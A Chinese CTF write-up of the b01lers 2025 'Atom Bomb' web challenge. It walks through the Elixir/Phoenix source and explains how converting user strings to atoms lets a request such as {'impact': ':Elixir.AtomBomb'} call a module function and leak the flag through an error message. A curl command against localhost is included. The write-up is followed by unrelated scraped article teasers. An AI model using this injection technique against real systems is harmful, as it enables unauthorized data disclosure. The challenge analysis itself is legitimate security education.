利用Elixir中的原子特性 + 错误消息泄露 -- Atom Bomb
题目信息: This new atom bomb early warning system is quite strange…
题目使用 elixir 语言
一开始,我们会访问 /page.html
<!DOCTYPE html>
<!-- 设定文档语言为英语 -->
<html lang="en">
<head><!-- 设定字符编码为UTF-8 --><meta charset="UTF-8"><!-- 适配不同屏幕尺寸 --><meta name="viewport" content="width=device-width, initial-scale=1.0"><!-- 网页标题 --><title>Atom Bomb Alert System</title><style>body {/* 设置字体为Arial,若不可用则使用无衬线字体 */font-family: Arial, sans-serif;/* 深灰色背景 */background-color: #1a1a1a; /* 浅灰色文字 */color: #e0e0e0; /* 外边距为0 */margin: 0;/* 内边距为20px */padding: 20px;/* 使用弹性布局 */display: flex;/* 垂直排列子元素 */flex-direction: column;/* 水平居中内容 */align-items: center; }button {/* 红色背景 */background-color: #d9534f; /* 白色文字 */color: white;/* 无边框 */border: none;/* 内边距 */padding: 10px 20px;/* 圆角边框 */border-radius: 5px;/* 字体大小 */font-size: 16px;/* 鼠标悬停时显示手型光标 */cursor: pointer;/* 按钮下方间距 */margin-bottom: 20px; /* 背景颜色过渡效果 */transition: background-color 0.3s; }button:hover {/* 鼠标悬停时更深的红色 */background-color: #c9302c; }div {/* 宽度占容器的100% */width: 100%; /* 最大宽度为400px */max-width: 400px; /* 元素下方间距 */margin-bottom: 20px; /* 更深的卡片背景色 */background-color: #2a2a2a; /* 内边距 */padding: 15px;/* 深色边框 */border: 1px solid #444; /* 圆角边框 */border-radius: 5px;/* 深色阴影 */box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3); }h2 {/* 红色标题,强调紧急性 */color: #d9534f; /* 标题居中 */text-align: center;}h6 {/* 浅灰色副标题 */color: #bbb; /* 上方间距 */margin-top: 20px;/* 下方间距 */margin-bottom: 5px;}p {/* 段落深色背景 */background-color: #333; /* 段落深色边框 */border: 1px solid #555; /* 段落内边距 */padding: 10px;/* 段落圆角边框 */border-radius: 5px;/* 段落外边距 */margin: 5px 0 20px 0;}img {/* 图片最大宽度为容器的100% */max-width: 100%;/* 图片高度自适应 */height: auto;/* 图片深色边框 */border: 1px solid #444; /* 图片圆角边框 */border-radius: 5px;}#danger {/* 字体加粗 */font-weight: bold;/* 字体大小为1.2倍 */font-size: 1.2em;/* 红色文字 */color: #d9534f; /* 文字居中 */text-align: center;}/* 当屏幕宽度小于等于600px时的样式 */@media (max-width: 600px) {body {/* 减小内边距 */padding: 10px;}button {/* 按钮宽度占满容器 */width: 100%;}}</style>
</head>
<body><!-- 主标题 --><h2>Welcome to Atom Bomb Alert System</h2><!-- 点击按钮触发检查炸弹警报的函数 --><button onclick="check_alert()">Check for bomb alert</button><div><!-- 炸弹详情标题 --><h2>Bomb Details</h2><!-- 炸弹位置副标题 --><h6>Bomb Location</h6><!-- 用于显示炸弹位置的段落 --><p id="location"></p><!-- 炸弹高度副标题 --><h6>Bomb Altitude</h6><!-- 用于显示炸弹高度的段落 --><p id="altitude"></p><!-- 炸弹威力副标题 --><h6>Bomb Power</h6><!-- 用于显示炸弹威力的段落 --><p id="power"></p></div><div><!-- 危险评估标题 --><h2>Danger Assessment</h2><!-- 用于显示危险评估信息的段落 --><p id="danger"></p><!-- 用于显示原子炸弹爆炸图片的元素 --><img id="explosion" alt="Atom Bomb Explosion"></div>
</body>
</html><script>
/*** 从服务器获取炸弹信息* @returns {Promise<Object|null>} 包含炸弹信息的对象,如果出错或响应失败则返回null*/
async function get_bomb() {try {// 发送请求获取炸弹信息const responce = await fetch("/atom_bomb");if (responce.ok) {// 若响应成功,解析响应为JSON格式并返回return await responce.json();} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹的危险程度* @param {Object} bomb - 包含炸弹信息的对象* @returns {Promise<string|null>} 危险评估信息,如果出错或响应失败则返回null*/
async function check_bomb_danger(bomb) {// 将高度转换为特定格式(此处代码可能有误,推测是注释错误,原意可能不是转换为原子)bomb.altitude = ":" + bomb.altitude;// 构建请求体payload = {impact: {bomb: bomb}};try {// 发送POST请求检查炸弹危险程度const responce = await fetch("/bomb_impacts", {method: "POST",body: JSON.stringify(payload),headers: {"Content-Type": "application/json",},});if (responce.ok) {// 若响应成功,解析响应并返回危险评估信息return (await responce.json()).message;} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹警报并更新页面信息*/
async function check_alert() {// 获取炸弹信息const bomb = await get_bomb();// 获取用于显示炸弹位置、高度和威力的元素const location = document.getElementById("location");const altitude = document.getElementById("altitude");const power = document.getElementById("power");// 更新页面上的炸弹位置、高度和威力信息location.innerHTML = bomb.location;altitude.innerHTML = bomb.altitude;power.innerHTML = bomb.power;// 获取用于显示爆炸图片的元素const explosion = document.getElementById("explosion");// 更新爆炸图片的源地址explosion.src = `/images/atom${bomb.explosion_type}.png`;// 获取炸弹危险评估信息const message = await check_bomb_danger(bomb);// 获取用于显示危险评估信息的元素const danger = document.getElementById("danger");// 更新页面上的危险评估信息danger.innerHTML = message;
}// 页面加载时自动检查炸弹警报
check_alert();
</script>
// 定义一个名为 AtomBomb.Router 的模块,用于处理路由逻辑
defmodule AtomBomb.Router do// 使用 Phoenix.Router 模块,并禁用助手功能use Phoenix.Router, helpers: false// 导入 Plug.Conn 模块,用于处理连接相关操作import Plug.Conn// 导入 Phoenix.Controller 模块,用于处理控制器相关操作import Phoenix.Controller// 定义一个名为 :browser 的管道,用于处理浏览器请求pipeline :browser do// 配置该管道接受的请求格式为 HTMLplug :accepts, ["html"]// 设置安全的浏览器头信息plug :put_secure_browser_headersend// 定义一个名为 :api 的管道,用于处理 API 请求pipeline :api do// 配置该管道接受的请求格式为 JSONplug :accepts, ["json"]end// 定义一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :browser 管道进行处理pipe_through :browser// 定义一个 GET 请求路由,当访问根路径 "/" 时,调用 PageController 模块的 :home 动作get "/", PageController, :homeend// 定义另一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :api 管道进行处理pipe_through :api// 定义一个 GET 请求路由,当访问 "/atom_bomb" 路径时,调用 PageController 模块的 :get_atom_bomb 动作get "/atom_bomb", PageController, :get_atom_bomb// 定义一个 POST 请求路由,当访问 "/bomb_impacts" 路径时,调用 PageController 模块的 :get_bomb_impacts 动作post "/bomb_impacts", PageController, :get_bomb_impactsend
end
似乎只有此处存在输入
POST /bomb_impacts HTTP/2
Host: atom-bomb.atreides.b01lersc.tf
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://atom-bomb.atreides.b01lersc.tf
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://atom-bomb.atreides.b01lersc.tf/page.html
Accept-Encoding: gzip, deflate, br
Priority: u=1, i{"impact":{"bomb":{"location":"idaho","power":1026,"altitude":":low_altitude","explosion_type":7}}}
继续分析其后端逻辑
// 定义一个名为 get_bomb_impacts 的控制器动作,用于获取炸弹影响信息// conn: 连接结构体,包含请求和响应的相关信息// params: 表示请求参数def get_bomb_impacts(conn, params) do// 调用 AtomBomb.atomizer 函数对请求参数进行处理params = AtomBomb.atomizer(params)// 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并将结果赋值给 danger_message 变量danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)// 渲染名为 :danger_level 的视图模板,并传递危险等级信息作为 :danger_message 参数render(conn, :danger_level, danger_message: danger_message)
@doc """Converts params to atoms"""# 定义一个函数 atomizer,用于将映射类型的参数中的键转换为原子def atomizer(params) when is_map(params) do# 遍历映射中的每个键值对Enum.map(params, fn {key, val} -> # 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(key) do{:ok, key} -> # 如果转换成功,递归调用 atomizer 处理值,并返回新的键值对{key, atomizer(val)}:error -> # 如果转换失败,返回 nilnilendend)|> Enum.filter(fn val -> val != nil end)|> Map.newend# 定义一个函数 atomizer,用于处理列表类型的参数,递归调用 atomizer 处理列表中的每个元素def atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)end# 定义一个函数 atomizer,用于处理二进制类型的参数def atomizer(params) when is_binary(params) do# 检查字符串是否以 : 开头if String.at(params, 0) == ":" do# convert string to atom if it starts with :# 移除字符串开头的 :atom_string = String.slice(params, 1..-1//1)# 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(atom_string) do{:ok, val} -> # 如果转换成功,返回原子val:error -> # 如果转换失败,返回 nilnilendelse# 如果不以 : 开头,直接返回原字符串paramsendend# 定义一个函数 atomizer,用于处理其他类型的参数,直接返回原参数# any other value is left as isdef atomizer(params) doparamsend
@doc """Calculates the danger level of the atom bomb for the given location"""# 定义一个函数 calculate_bomb_danger_level,根据炸弹信息计算炸弹的危险等级def calculate_bomb_danger_level(bomb) do# 根据炸弹的高度确定缩放系数scaling = case bomb.altitude do:underground -> 0.05:surface -> 1.5:low_altitude -> 3.0:high_altitude -> 1.2:space -> 0.03end# 计算炸弹的实际威力power = scaling * bomb.power# 根据实际威力判断危险等级cond dopower < 200.0 -> "there is not much danger"power < 400.0 -> "you might get cancer"power < 800.0 -> "you should hide underground"power < 1300.0 -> "your house will be blown away"true -> "you might be cooked"endend
我们的目标应该是执行此处函数
# 定义一个函数 bomb,尝试读取 flag.txt 文件的内容,并返回包含炸弹信息的字符串def bomb() do# 尝试读取 flag.txt 文件flag = case File.read("flag.txt") do{:ok, flag} -> # 如果读取成功,返回文件内容flag{:error, _} -> # 如果读取失败,返回默认值"bctf{REDACTED}"end"The atom bomb detonated, and left in the crater there is a chunk of metal inscribed with #{flag}"end
根本搭不起来调试环境进,放弃 -------------------------------------------------------------------------------------------------------------------------------------
赛后
b01lers-ctf-2025-public/src/web/atombomb/solve at main · b01lers/b01lers-ctf-2025-public · GitHub
在 Elixir 中,原子(Atom) 是一种基本数据类型,用于表示固定值,其名称直接作为自身的值。原子是不可变的、常量,且通常用于代码中的标识符、状态标记或模式匹配。
核心特性:
-
名称即值
原子的值就是它的名字,例如:ok
、:error
、:hello
。不需要额外的赋值操作。 -
常量且高效
原子在内存中以唯一的形式存储(通过原子表),多次使用同一个原子不会重复占用内存。例如,无论使用多少次:ok
,内存中只有一份。 -
语法形式
- 简单原子:以冒号开头,后接小写字母、数字、下划线或
@
,例如:ok
、:status_code
。 - 带特殊字符的原子:用双引号包裹,例如
:"hello world!"
、:"123@email.com"
。
- 简单原子:以冒号开头,后接小写字母、数字、下划线或
常见用途:
-
模式匹配与函数返回值
case File.read("file.txt") do{:ok, content} -> IO.puts("成功读取:#{content}"){:error, reason} -> IO.puts("失败原因:#{reason}") end
函数常用
:ok
/:error
表示操作结果。 -
作为标识符
用于标识选项或配置,例如:
String.split("a,b,c", ",", trim: true) # `trim: true` 中的 `:trim` 是原子
-
模块名称
模块名本质是原子。例如IO.puts/1
中的IO
是原子Elixir.IO
的语法糖::"Elixir.IO".puts("Hello") # 等同于 IO.puts("Hello")
在 Elixir 中,原子可以直接或间接用于调用函数
漏洞的核心逻辑
def atomizer(params) when is_map(params) doEnum.map(params, fn {key, val} -> case string_to_atom(key) do{:ok, key} -> {key, atomizer(val)}:error -> nilendend)|> Enum.filter(fn val -> val != nil end)|> Map.new
enddef atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)
enddef atomizer(params) when is_binary(params) doif String.at(params, 0) == ":" do# convert string to atom if it starts with :# remove leading :atom_string = String.slice(params, 1..-1//1)case string_to_atom(atom_string) do{:ok, val} -> val:error -> nilendelseparamsend
end# any other value is left as is
def atomizer(params) doparams
end
-
服务器如何处理请求:
- 当你发送一个JSON请求到
/bomb_impacts
接口时,服务器会调用AtomBomb.atomizer
函数处理参数。 - 这个函数会将参数中的键(key)和以冒号开头的值(value)转换为原子(比如
":apple"
→:apple
)。
- 当你发送一个JSON请求到
-
危险的转换:
- 如果你发送一个参数值为
":Elixir.AtomBomb"
,它会被转换为原子:Elixir.AtomBomb
。 - 在Elixir中,
Module.function()
本质是调用原子:Elixir.Module
的function
方法。 - 所以
params.impact.bomb
会变成调用:Elixir.AtomBomb.bomb()
函数,而这个函数直接返回了包含flag的字符串!
- 如果你发送一个参数值为
-
触发错误泄露flag:
- 服务器后续代码试图访问
bomb.altitude
(认为bomb
是一个map)。 - 但实际上
bomb
此时是一个字符串(flag就在这个字符串里),访问不存在的字段会报错。 - 服务器的错误处理直接把错误信息返回给用户,于是你就能看到flag了!
- 服务器后续代码试图访问
攻击步骤
-
构造一个特殊的JSON:
{"impact": ":Elixir.AtomBomb"}
- 这里的
":Elixir.AtomBomb"
会被服务器转换为原子:Elixir.AtomBomb
- 这里的
-
发送这个JSON到服务器:
curl -X POST http://localhost:6888/bomb_impacts \-H "Content-Type: application/json" \--data '{"impact": ":Elixir.AtomBomb"}'
-
服务器处理过程:
# 定义 get_bomb_impacts 函数,处理获取炸弹影响信息的请求def get_bomb_impacts(conn, params) do# 调用 AtomBomb.atomizer 函数处理传入的参数params = AtomBomb.atomizer(params)# 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并获取危险信息danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)# 渲染 :danger_level 视图并传递危险信息render(conn, :danger_level, danger_message: danger_message)end
- 参数处理 → 将
impact
转换为:Elixir.AtomBomb
- 试图调用
:Elixir.AtomBomb.bomb()
→ 返回包含flag的字符串 - 后续代码访问
bomb.altitude
失败 → 报错信息中包含这个字符串
- 最终结果:
服务器返回的错误信息中会直接显示:"The atom bomb detonated...bctf{n0w_w3_ar3_a1l_d3ad_:(_8cd12c17102ac269}"
类比理解
假设有一个自动售货机:
- 正常操作:投入硬币 → 选择饮料(比如输入
{"drink": "cola"}
) - 漏洞利用:输入一个特殊指令
{"drink": ":giveMeMoney"}
- 售货机错误地执行了内部函数
:giveMeMoney()
→ 直接吐钱
相关文章:
利用Elixir中的原子特性 + 错误消息泄露 -- Atom Bomb
题目信息: This new atom bomb early warning system is quite strange… 题目使用 elixir 语言 一开始,我们会访问 /page.html <!DOCTYPE html> <!-- 设定文档语言为英语 --> <html lang"en"> <head><!-- 设定字符编码为UTF-8 --><…...
机器人--STM32
STM32启动模式 1,从主闪存存储启动器启动(默认) 2,从系统存储启动器启动 下载程序时需要使用的启动方式。 3,从内置的SRAM启动...
LVGL -文本显示 英文、中文
1 文本 在 LVGL 中,文本控件(Label)是一种基本的 UI 组件,用于显示文本信息。文本控件可以用于各种场景,如显示状态信息、提示消息、标题等。在图形用户界面(GUI)开发中,文本是传达信息和指导用户的重要组成部分。为了有效地展示文本,以下是与文本相关的几个关键方面…...
Java面试资源获取
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 **1. GitHub开源项目****2. 技术博客与社区*…...
探索 Spring AI 的 ChatClient API:构建智能对话应用的利器
探索 Spring AI 的 ChatClient API:构建智能对话应用的利器 前言 在当今人工智能蓬勃发展的时代,智能对话系统成为了众多应用的核心组成部分。无论是客服机器人、智能助手还是聊天应用,都离不开高效、灵活的对话处理能力。Spring AI 作为 S…...
Java大师成长计划之第11天:Java Memory Model与Volatile关键字
📢 友情提示: 本文由银河易创AI(https://ai.eaigx.com)平台gpt-4o-mini模型辅助创作完成,旨在提供灵感参考与技术分享,文中关键数据、代码与结论建议通过官方渠道验证。 在多线程编程中,线程的执…...
java学习之数据结构:一、数组
主要是对数组所有的东西进行总结,整理 适合小白~ 目录 1.什么是数组 1.1数组定义 1.2数组创建 1)静态创建 2)动态创建 1.3数组遍历 1)for和while遍历 2)foreach遍历 2.数组越界问题及解决 2.1数组越界问题 2…...
Oracle OCP认证考试考点详解083系列04
题记: 本系列主要讲解Oracle OCP认证考试考点(题目),适用于19C/21C,跟着学OCP考试必过。 16. 第16题: 题目 解析及答案: 关于使用恢复管理器(RMAN)恢复表,以下哪三项是…...
MARM:推荐系统中的记忆增强突破
文章目录 1. 背景1.1 模型规模与推荐系统的挑战1.2 缓存技术在推荐系统中的潜力1.3 推荐系统中的数据与计算需求1.4 复杂度对比1.5 MARM模型的创新性 2. 方法2.1 流程2.1.1 序列生成器2.1.2 外部缓存查找2.1.3 多目标注意力机制2.1.4 发结果到缓存 **2.2 MARM与SIM**2.2.1 SIM的…...
INP指标
什么是INP(Interaction to Next Paint) 参考网站:webVital-INP文档 定义与核心目标 INP 是一项稳定的 Core Web Vitals 指标,通过统计用户访问期间所有符合条件的互动约定时间,评估网页对用户操作的总体响应能力。最…...
Flink 的状态机制
在实时流处理领域,状态管理是构建复杂业务逻辑的核心能力。Apache Flink 通过统一的状态抽象和高效的容错机制,为开发者提供了从毫秒级窗口聚合到 TB 级历史数据关联的全场景支持。本文将深入剖析 Flink 状态机制的底层原理,结合实际案例展示…...
【PostgreSQL数据分析实战:从数据清洗到可视化全流程】1.1 数据库核心概念与PostgreSQL技术优势
👉 点击关注不迷路 👉 点击关注不迷路 👉 点击关注不迷路 文章大纲 深度解析PostgreSQL核心架构与技术优势:从数据库原理到实战场景1.1 数据库核心概念与PostgreSQL技术优势1.1.1 关系型数据库核心架构解析1.1.1.1 数据库系统的底…...
linux下,ollama会把模型文件保存在哪里?
文章目录 运行ollama,有两种形式,估计得分开讨论首先是使用自动启动的ollama:先跑个“小一点的大模型”但是现在模型文件存在哪儿呢?运行ollama,有两种形式,估计得分开讨论 我们用两种方式,来运行ollama。 首先是使用自动启动的ollama: ps -aux | grep ollama系统自…...
EMMC存储性能测试方法
记于 2022 年 9 月 15 日 EMMC存储性能测试方法 - Wesley’s Blog 参考Android-emmc性能测试 | 一叶知秋进行实践操作 dd 命令 页面缓存 为了测试 emmc 的真实读写性能,我们需要先把页面缓存给清理: echo 1 > /proc/sys/vm/drop_caches console:…...
19. LangChain安全与伦理:如何避免模型“幻觉“与数据泄露?
引言:当AI成为企业"数字员工"时的责任边界 2025年某金融机构因AI客服泄露用户信用卡信息被罚款2300万美元。本文将基于LangChain的安全架构与Deepseek-R1的合规实践,揭示如何构建既强大又安全的AI系统。 一、AI安全风险矩阵 1.1 2025年最新威…...
5月3日日记
上午睡到自然醒(其实六点多被我爸叫起来抢火车票,发现明天中午的软卧候补上了,挺好的)然后继续睡到快10点。 中午吃的什么来着,好像是西红柿炒鸡蛋和藜麦饭,有个鱼不是很想吃就没吃 中午打了两把吃鸡&…...
C++类_构造函数
在 C11 里,类的构造函数有多种类型,下面为你详细介绍各类构造函数并给出示例代码。 1. 默认构造函数 默认构造函数是没有参数的构造函数,要是没有为类定义任何构造函数,编译器会自动生成一个默认构造函数。 2. 带参数的构造函数…...
【React】Hooks useReducer 详解,让状态管理更可预测、更高效
1.背景 useReducer是React提供的一个高级Hook,没有它我们也可以正常开发,但是useReducer可以使我们的代码具有更好的可读性,可维护性。 useReducer 跟 useState 一样的都是帮我们管理组件的状态的,但是呢与useState不同的是 useReducer 是集…...
Runnable组件重试机制降低程序错误率
一、LangChain 重试机制深度解析 当构建生产级AI应用时,with_retry() 机制可有效提升系统容错性,典型应用场景包括: API调用频率限制时的自动恢复模型服务临时不可用的故障转移网络波动导致的瞬时异常处理 参数详解与配置策略 1. 参数配置…...
纹理过滤方式和纹理包裹方式
纹理过滤方式 纹理过滤方式有临近过滤(Nearest)和双线性插值过滤(Linear),什么时候用什么过滤方式其实看个人选择,区别就是临近过滤是当需要的像素大于图片像素时候,一些像素点需要复用与他相近…...
55.[前端开发-前端工程化]Day02-包管理工具npm等
包管理工具详解 npm、yarn、cnpm、npx、pnpm 1 npm包管理工具 代码共享方案 包管理工具npm 2 package配置文件 npm的配置文件 方式二 常见的配置文件 常见的属性 常见的属性 常见的属性 依赖的版本管理 常见属性 npm install 命令 项目安装 3 npm install原理 npm instal…...
Maven安装配置以及Idea中的配置教程
一、下载Maven 我使用的是3.9.9的版本: 下载地址:Download Apache Maven – Maven 二、安装 将下载好的Maven压缩包解压到一个路径不包含中文的文件夹: 三、配置环境变量 以win11系统为例: 1.鼠标右键此电脑->属性->…...
【JavaScript】性能优化:打造高效前端应用
文章目录 一、执行效率优化(关键路径优化)1.1 算法时间复杂度控制1.2 Web Workers多线程计算二、内存管理(避免内存泄漏)2.1 定时器清理2.2 DOM引用释放三、DOM操作优化(渲染性能)3.1 批量DOM更新3.2 读写分离策略四、网络传输优化(加载性能)4.1 代码分割(Dynamic Imp…...
【C语言练习】018. 定义和初始化结构体
018. 定义和初始化结构体 018. 定义和初始化结构体1. 定义结构体示例1:定义一个简单的结构体输出结果2. 初始化结构体示例2:在声明时初始化结构体输出结果示例3:使用指定初始化器初始化结构体(C99及以上标准支持)输出结果3. 结构体数组示例4:定义和初始化结构体数组输出结…...
Three.js支持模型格式区别、建议
在 Three.js 中,3D 模型的种类和格式非常多样,每种格式都有其适用场景和优缺点。以下是常见的 Three.js 支持的模型格式、它们的区别、使用建议及推荐。 在这里推荐免费的blender工具,免费、占用空间不大,而且好用,前端打开模型时使用不错,或者有自己想做的模型也可以用它…...
JavaScript基础-流程控制概念
在JavaScript编程中,掌握如何控制程序的执行流程是编写功能强大、逻辑清晰代码的关键。流程控制语句允许我们根据不同的条件执行不同的代码块,或者重复执行某些操作,从而实现复杂的功能逻辑。本文将详细介绍JavaScript中的几种主要流程控制结…...
PowerBI企业运营分析——多维度日期指标分析
PowerBI企业运营分析——多维度日期指标分析 欢迎来到Powerbi小课堂,在竞争激烈的市场环境中,企业运营分析平台成为提升竞争力的核心工具。 通过整合多源数据、实时监控关键指标,该平台能够精准分析业务表现,快速识别问题与机会…...
施磊老师rpc(三)
文章目录 mprpc框架项目动态库编译框架生成动态库框架初始化函数-文件读取1. 为什么要传入 argc, argv2. 读取参数逻辑3. 配置文件设计 init部分实现 mprpc配置文件加载(一)配置文件加载类成员变量主要方法**src/include/mprpcconfig.h** 配置文件**bin/test.conf** 实现配置文…...
k8s 探针
Kubernetes 中的探针(Probes)用于检测容器的健康状态或就绪状态,确保应用在运行时的可靠性。Kubernetes 提供三种探针类型,它们的核心区别在于用途和失败后的处理逻辑。以下是它们的详细说明和对比: 1. 启动探针&…...
MIT6.S081-lab8
MIT6.S081-lab8 1. Large files 从 lecture 我们可以知道,我们目前的单个文件的最大大小很小,这是因为我们能够索引的索引块范围很小,实际上,目前的索引只有直接索引和一级索引,而这个实验就是需要我们去实现二级索引…...
【RabbitMQ】 RabbitMQ快速上手
文章目录 一、RabbitMQ 核心概念1.1 Producer和Consumer2.2 Connection和Channel2.3 Virtual host2.4 Queue2.5 Exchange2.6 RabbitMQ工作流程 二、AMQP协议三 、web界面操作4.1 用户相关操作4.2 虚拟主机相关操作 四、RabbitMQ快速入门4.1 引入依赖4.2 编写生产者代码4.2.1 创…...
使用Rust + WebAssembly提升前端渲染性能:从原理到落地
一、问题背景:为什么选择WebAssembly? 最近在开发数据可视化大屏项目时,我们遇到了一个棘手的问题:前端需要实时渲染10万数据点的动态散点图,使用纯JavaScript Canvas方案在低端设备上帧率不足15FPS。经过性能分析&a…...
【quantity】9 长度单位模块(length.rs)
代码是用Rust语言定义的一组长度单位类型,利用了泛型和类型别名来创建带不同SI前缀的长度量。下面是详细解释: 基础结构: 使用了Quantity<V, P, Meter>作为基础类型,表示一个带有值类型V、前缀P和单位Meter的量。 Meter是…...
网络通信领域的基础或流行协议
一、TCP(传输控制协议) 1. 宏观介绍 TCP:全称“Transmission Control Protocol”——传输控制协议,是互联网最基础的传输协议之一。传输层协议,提供面向连接、可靠的字节流传输服务。它通过三次握手建立连接、四次挥手断开连接,确保数据有序、完整地传输作用:让两个设备…...
STM32——GPIO
1、GPIO简介 GPIO(General Purpose Input Output)通用输入输出口 可配置为8种输入输出模式 引脚电平:0V~3.3V,部分引脚可容忍5V 输出模式下可控制端口输出高低电平,用以驱动LED、控制蜂鸣器、模拟通信协议输出时序等 …...
AE模板 300个故障干扰损坏字幕条标题动画视频转场预设
这个AE模板提供了300个故障干扰损坏字幕条标题动画视频转场预设,让您的视频具有炫酷的故障效果。无论是预告片、宣传片还是其他类型的视频,这个模板都能带给您令人惊叹的故障运动标题效果。该模板无需任何外置插件或脚本,只需一键点击即可应用…...
2025-2026 XCPC
基本信息 本赛季由 jr-zlw \texttt{\color{#AA00AA}{jr-zlw}} jr-zlw, Skyzhou \texttt{\color{#03A89E} Skyzhou} Skyzhou 和 sunchaoyi \texttt{\color{#0000FF}sunchaoyi} sunchaoyi 组队,全靠大佬带飞~。 训练记录 2025.05.02 The 2023 Guangdong Provinci…...
list类的详细讲解
【本节目标】 1. list的介绍及使用 2. list的深度剖析及模拟实现 3. list与vector的对比 1. list的介绍及使用 1.1 list的介绍 1. list 是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。 2. list 的底层是双向链表结构&a…...
中小企业MES系统数据库设计
版本:V1.0 日期:2025年5月2日 一、数据库架构概览 1.1 数据库选型 数据类型数据库类型技术选型用途时序数据(传感器读数)时序数据库TimescaleDB存储设备实时监控数据结构化业务数据关系型数据库PostgreSQL工单、质量、设备等核心…...
wfp CommandParameter 详细解说
WPF 中的 CommandParameter 是命令模型中的关键属性,用于向命令的执行逻辑传递动态参数。以下是其主要特性和应用场景的详细解析: 1. 基本概念与用法 数据传递机制 CommandParameter 通常与 Command 属性配合使用,允许在 XAML 中静态定义参数或在绑定中动态传递值。…...
正弦波、方波、三角波和锯齿波信号发生器——Multisim电路仿真
目录 Multisim使用教程说明链接 一、正弦波信号发生电路 1.1正弦波发生电路 电路组成 工作原理 振荡频率 1.2 正弦波发生电路仿真分析 工程文件链接 二、方波信号发生电路 2.1 方波发生电路可调频率 工作原理 详细过程 2.2 方波发生电路可调频率/可调占空比 调节占空比 方波产生…...
Java语言概述
Java语言概述 什么是程序? 程序是计算机执行某些操作或解决某个问题而编写的一系列有序指令单集合。 举例: 计算11,并把结果写在黑板上 计算11,并把结果显示在屏幕上(按编程语言规定的语句࿰…...
截图软件、画图软件、左右分屏插件、快捷键
截图软件 画图软件 画图时候按字母可以改变颜色:红色r,蓝色b,绿色g,粉色p,橙色o 左右分屏: 快捷键 1.打开文件或文件夹: CtrlP:快速打开文件。CtrlR:快速打开文件或文件夹。 2.文件操作: CtrlN&…...
Linux 信号
一、生活中的信号 1.1、生活中的信号从产生到结束过程 例: ①、外卖电话响了(信号产生)-> 我接了电话并告诉外卖员说先放到楼下的架子上(识别到这个信号,并记住,保存到我的脑海里面) ->…...
AI 生成内容的版权困境:法律、技术与伦理的三重挑战
最近研学过程中发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击链接跳转到网站人工智能及编程语言学习教程。读者们可以通过里面的文章详细了解一下人工智能及其编程等教程和学习方法。下面开始对正文内容的…...
【愚公系列】《Manus极简入门》013-电影推荐专家:“银幕导航家”
🌟【技术大咖愚公搬代码:全栈专家的成长之路,你关注的宝藏博主在这里!】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主! …...
MCP智能体意图识别与工具路由:让AI自主决策调用链路
目录 🚀 MCP智能体意图识别与工具路由:让AI自主决策调用链路 🌟 什么是意图识别与工具路由? 🛠️ 1. 设计意图识别模块 1.1 简易关键字规则版(基础版) 1.2 使用大模型辅助意图识别ÿ…...
【Redis】List类型
文章目录 List的特点介绍lpush,lpushx,rpush,rpushx命令lrange命令lpop和rpoplindex命令linsert命令llen命令lrem 命令ltrim命令lset命令阻塞版本的命令blpop和brpop 命令小结list的内部编码List的应用场景 List的特点介绍 列表相当于一个数…...
Trae 安装第三方插件支持本地部署的大语言模型
Trae 安装第三方插件支持本地部署的大语言模型 0. 引言1. 安装插件 0. 引言 字节发布的 Trae IDE 一直不支持本地部署的的大语言模型。 Qwen3 刚刚发布,想在 Trae 中使用本地部署的 Qwen3,我们可以在 Trae 中安装其他插件。 1. 安装插件 我们可以安装…...
【免费】2010-2019年上市公司排污费数据
2010-2019年上市公司排污费数据 1、时间:2010-2019年 2、来源:上市公司披露报告 3、指标:代码、日期、名称、本期支出 4、范围:417家上市公司 5、相关研究:胡珺,宋献中,王红建.非正式制度、家乡认同与企业环境治理…...